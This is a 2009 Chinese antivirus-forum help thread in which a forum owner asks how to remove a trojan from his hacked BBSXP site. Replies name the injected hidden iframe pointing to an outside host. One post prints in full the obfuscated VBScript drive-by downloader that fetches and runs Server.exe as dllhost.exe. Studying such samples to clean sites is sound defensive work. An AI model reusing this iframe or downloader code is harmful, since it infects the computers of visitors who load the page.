microsoft.xmlhttp的漏洞被植入木马请高手帮忙万分感谢……… - 瑞星卡卡安全论坛bbs.ikaka.com

瑞星卡卡安全论坛技术交流区 反病毒/反流氓软件论坛 microsoft.xmlhttp的漏洞被植入木马请高手帮忙万分感谢………

	瑞星“1+2”全新解决方案巡展在广州画上圆满句号		叶院长揭秘：瑞星如何运用AI技术革新网络安全		俄乌冲突加剧网络攻击风险白俄罗斯政府遭APT攻击		瑞星ESM防病毒系统助力矿业大学筑牢网络安全防线
	实力拉满瑞星第四十七次通过VB100测评		携手老友，拥抱新精彩 —— 新论坛新活动，感谢你的陪伴		护航司法，瑞星助力山西省高院构建安全防线		人工智能在网络安全领域的风险和机遇

12

1 / 2 页

跳转页

[求助] microsoft.xmlhttp的漏洞被植入木马请高手帮忙万分感谢………

KFC奇奇初生襁褓狮帖子:12 注册: 2005-03-20 来自:	发表于： 2009-05-09 16:29 \| 只看楼主短消息资料字号：小中大 1楼 microsoft.xmlhttp的漏洞被植入木马请高手帮忙万分感谢……… BBSXP 2008 BBSXP 2008 SP2 ACCESS 8.0.5.081208 已经有打过补丁的租用的500M虚拟空间，这两天网友访问说论坛有木马我访问的时候也出现了这个问题…… 访问也有提示了 microsoft.xmlhttp的漏洞请问该查询哪个文件程序？来查看是否被植入代码？ IE 7打开页面后提示：360检测此网站时发现了什么问题？第一次发现威胁日期是 2009-05-09 09:58:53。最后一次在此网站中发现可疑内容的日期是 2009-05-09 08:58:19。 360云安全中心发现该网页含有会产生：非法启动进程："C:\DOCUME~1\ol\LOCALS~1\Temp\dllhost.exe" "C:\DOCUME~1\ol\LOCALS~1\Temp\dllhost.exe" "C:\DOCUME~1\ol\LOCALS~1\Temp\dllhost.exe" 请高手帮忙解决一下万分感谢…… 用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
KFC奇奇初生襁褓狮帖子:12 注册: 2005-03-20 来自:	分享到：

aaccbbdd 卡卡巡查帖子:45933 注册: 2007-11-17 来自:蜀山仙剑派	发表于： 2009-05-09 16:35 \| 短消息资料字号：小中大 2楼回复：microsoft.xmlhttp的漏洞被植入木马请高手帮忙万分感谢……… 空间的网址是什么
aaccbbdd 卡卡巡查帖子:45933 注册: 2007-11-17 来自:蜀山仙剑派

KFC奇奇初生襁褓狮帖子:12 注册: 2005-03-20 来自:	发表于： 2009-05-09 16:38 \| 只看楼主短消息资料字号：小中大 3楼回复：microsoft.xmlhttp的漏洞被植入木马请高手帮忙万分感谢……… 网址是www.PDAQQ.com/bbsxp （访问论坛才会访问主页不会出现问题）
KFC奇奇初生襁褓狮帖子:12 注册: 2005-03-20 来自:

aaccbbdd 卡卡巡查帖子:45933 注册: 2007-11-17 来自:蜀山仙剑派	发表于： 2009-05-09 16:44 \| 短消息资料字号：小中大 4楼回复: microsoft.xmlhttp的漏洞被植入木马请高手帮忙万分感谢……… 干掉该段代码 <iframe src=http://8878.nznz.net/1.htm width=0 height=0></iframe>
aaccbbdd 卡卡巡查帖子:45933 注册: 2007-11-17 来自:蜀山仙剑派

KFC奇奇初生襁褓狮帖子:12 注册: 2005-03-20 来自:	发表于： 2009-05-09 16:53 \| 只看楼主短消息资料字号：小中大 5楼回复: microsoft.xmlhttp的漏洞被植入木马请高手帮忙万分感谢……… 引用: 原帖由 aaccbbdd 于 2009-5-9 16:44:00 发表干掉该段代码 <iframe src=http://8878.nznz.net/1.htm width=0 height=0></iframe> 谢谢高手指点请问在那个文件干掉这个代码？？是数据库里？还是论坛的程序内？如果是程序有好多 ASP的是一个一个找吗？万分感谢请问这个程序代码是如何添加到网站的？？我看了后台只有我一个人在上传东西啊 KFC奇奇最后编辑于 2009-05-09 16:54:30
KFC奇奇初生襁褓狮帖子:12 注册: 2005-03-20 来自:

aaccbbdd 卡卡巡查帖子:45933 注册: 2007-11-17 来自:蜀山仙剑派	发表于： 2009-05-09 16:59 \| 短消息资料字号：小中大 6楼回复: microsoft.xmlhttp的漏洞被植入木马请高手帮忙万分感谢……… 漏洞么楼主可以使用附件干掉那段代码（有风险，建议先备份相关数据）附件: 网页感染清除精灵1.1.rar (2009-5-9 16:58:30, 453.58 K) 该附件被下载次数 160
aaccbbdd 卡卡巡查帖子:45933 注册: 2007-11-17 来自:蜀山仙剑派

夲號ヱ被ジ盜叱咤花甲狮帖子:7083 注册: 2008-08-21 来自:昆仑琼华派	发表于： 2009-05-09 17:00 \| 短消息资料字号：小中大 7楼回复: microsoft.xmlhttp的漏洞被植入木马请高手帮忙万分感谢……… ⊙﹏⊙b汗现在的木马啊。。。。 <SCRIPT>varWords="%3Chtml%3E%0D%0A%3Ctitle%3E火狐网页木马VIP联系QQ%3A5798592%3C%2Ftitle%3E%0D%0A%3Cscriptlanguage%3D%22VBScript%22%3E%0D%0Aonerrorresumenext%0D%0AKz1%3D%22o%22%26%22bj%22%26%22ec%22%26%22t%22%0D%0AKz2%3D%22c%22%26%22la%22%26%22s%22%26%22si%22%26%22d%22%0D%0AaKz%3D%22C%22%26%225%22%26%225%22%26%226%22%26%22%2D%22%26%226%22%26%225%22%26%22A%22%26%223%22%26%22%2D%22%0D%0AxKz%3D%22c%22%26%22l%22%26%22si%22%26%22d%22%26%22%3A%22%26%22B%22%26%22D9%22%26%226%22%0D%0AKz3%3DxKz%26aKz%26%221%22%26%221%22%26%22D%22%26%220%22%26%22%2D%22%26%229%22%26%228%22%26%223%22%26%22A%22%26%22%2D%22%26%220%22%26%220%22%26%22C%22%26%220%22%26%224%22%26%22F%22%26%22C%22%26%222%22%26%229%22%26%22E%22%26%223%22%26%226%22%0D%0AKz4%3D%22M%22%26%22ic%22%26%22ro%22%26%22so%22%26%22ft%22%26%22%2EX%22%26%22M%22%26%22L%22%26%22HT%22%26%22T%22%26%22P%22%0D%0AKz5%3D%22Shell%2EApplication%22%0D%0AKz6%3D%22Sc%22%26%22ri%22%26%22p%22%26%22ti%22%26%22n%22%26%22g%2EFi%22%26%22l%22%26%22eSys%22%26%22tem%22%26%22Ob%22%26%22je%22%26%22ct%22%0D%0ASetHuohUc%3Ddocument%2EcreateElement%28Kz1%29%0D%0AHuohU%3D%22http%3A%2F%2F8878%2Enznz%2Enet%2FServer%2Eexe%22%0D%0Asubusicecod%28Kz5%2CXhU9%29%0D%0AsetHuohUeE%3DHuohUc%2Ecreateobject%28Kz5%2C%22%22%29%0D%0AHuohUeE%2EshEllExEcutEHuohU9%2C%22%22%2C%22%22%2C%22o%22%26%22p%22%26%22e%22%26%22n%22%2C0%0D%0Aendsub%0D%0AHuohUc%2EsetAttributeKz2%2CKz3%0D%0AHuohUi%3DKz4%0D%0ASetDHuohU%3DHuohUc%2ECreateObject%28HuohUi%2C%22%22%29%0D%0Awpa%3D%22A%22%26%22d%22%26%22o%22%26%22d%22%26%22b%22%26%22%2E%22%0D%0Awpc%3D%22S%22%26%22t%22%26%22r%22%0D%0Awpd%3D%22e%22%26%22a%22%26%22m%22%0D%0AHuohUf%3Dwpa%26wpc%26wpd%0D%0AHuohUg%3DHuohUf%0D%0AsetHuohUa%3DHuohUc%2Ecreateobject%28HuohUg%2C%22%22%29%0D%0AHuohUa%2Etype%3D1%0D%0AHuohUh%3D%22G%22%26%22E%22%26%22T%22%0D%0ADHuohU%2EOpenHuohUh%2CHuohU%2CFalse%0D%0ADHuohU%2ESend%0D%0AHuohU9%3D%22dllhost%2Eexe%22%0D%0ASeTHuohUb%3DHuohUc%2Ecreateobject%28Kz6%2C%22%22%29%0D%0AsETHuohUeE%3DHuohUb%2EGetSpecialFolder%282%29%0D%0AHuohUa%2Eopen%0D%0AHuohU9%3DHuohUb%2EBuildPath%28HuohUeE%2CHuohU9%29%0D%0AHuohUa%2EwriteDHuohU%2EresponseBody%0D%0AHuohUa%2EsavetofileHuohU9%2C2%0D%0AHuohUa%2Eclose%0D%0Avip%3DQQ5798592%0D%0Acallusicecod%28Kz5%2CXhU9%29%0D%0A%3C%2Fscript%3E%0D%0A%3C%2Fhtml%3E%0D%0A%3Cscriptlangauge%3D%22javasript%22%3Edocument%2Eoncontextmenu%3DnewFunction%28%27event%2EreturnValue%3Dfalse%3B%27%29%3Bdocument%2Eonselectstart%3DnewFunction%28%27event%2EreturnValue%3Dfalse%3B%27%29%3B%3C%2Fscript%3E%3Cscripttype%3D%22text%2Fjscript%22%3Efunctioninit%28%29%7Bdocument%2Ewrite%28%22网页正在载入%2E%2E%2E请稍等%2E%2E%2E%22%29%3B%7Dwindow%2Eonload%3Dinit%3B%3C%2Fscript%3E%0D%0A";document.write(unescape(Words))</SCRIPT> 1.jpg (72.52 K) 2009-5-9 17:00:45 2.jpg (33.73 K) 2009-5-9 17:02:33 夲號ヱ被ジ盜最后编辑于 2009-05-09 17:02:33
夲號ヱ被ジ盜叱咤花甲狮帖子:7083 注册: 2008-08-21 来自:昆仑琼华派

aaccbbdd 卡卡巡查帖子:45933 注册: 2007-11-17 来自:蜀山仙剑派	发表于： 2009-05-09 17:06 \| 短消息资料字号：小中大 8楼回复 7F 夲號ヱ被ジ盜的帖子汗一个啥软件查看的神器？
aaccbbdd 卡卡巡查帖子:45933 注册: 2007-11-17 来自:蜀山仙剑派

KFC奇奇初生襁褓狮帖子:12 注册: 2005-03-20 来自:	发表于： 2009-05-09 17:15 \| 只看楼主短消息资料字号：小中大 9楼回复：microsoft.xmlhttp的漏洞被植入木马请高手帮忙万分感谢……… 看的发晕了啥来的？？
KFC奇奇初生襁褓狮帖子:12 注册: 2005-03-20 来自:

aaccbbdd 卡卡巡查帖子:45933 注册: 2007-11-17 来自:蜀山仙剑派	发表于： 2009-05-09 17:21 \| 短消息资料字号：小中大 10楼回复：microsoft.xmlhttp的漏洞被植入木马请高手帮忙万分感谢……… 就看6楼
aaccbbdd 卡卡巡查帖子:45933 注册: 2007-11-17 来自:蜀山仙剑派

<<上一主题|下一主题>>

12

1 / 2 页

跳转页

页面顶部

Powered by Discuz!NT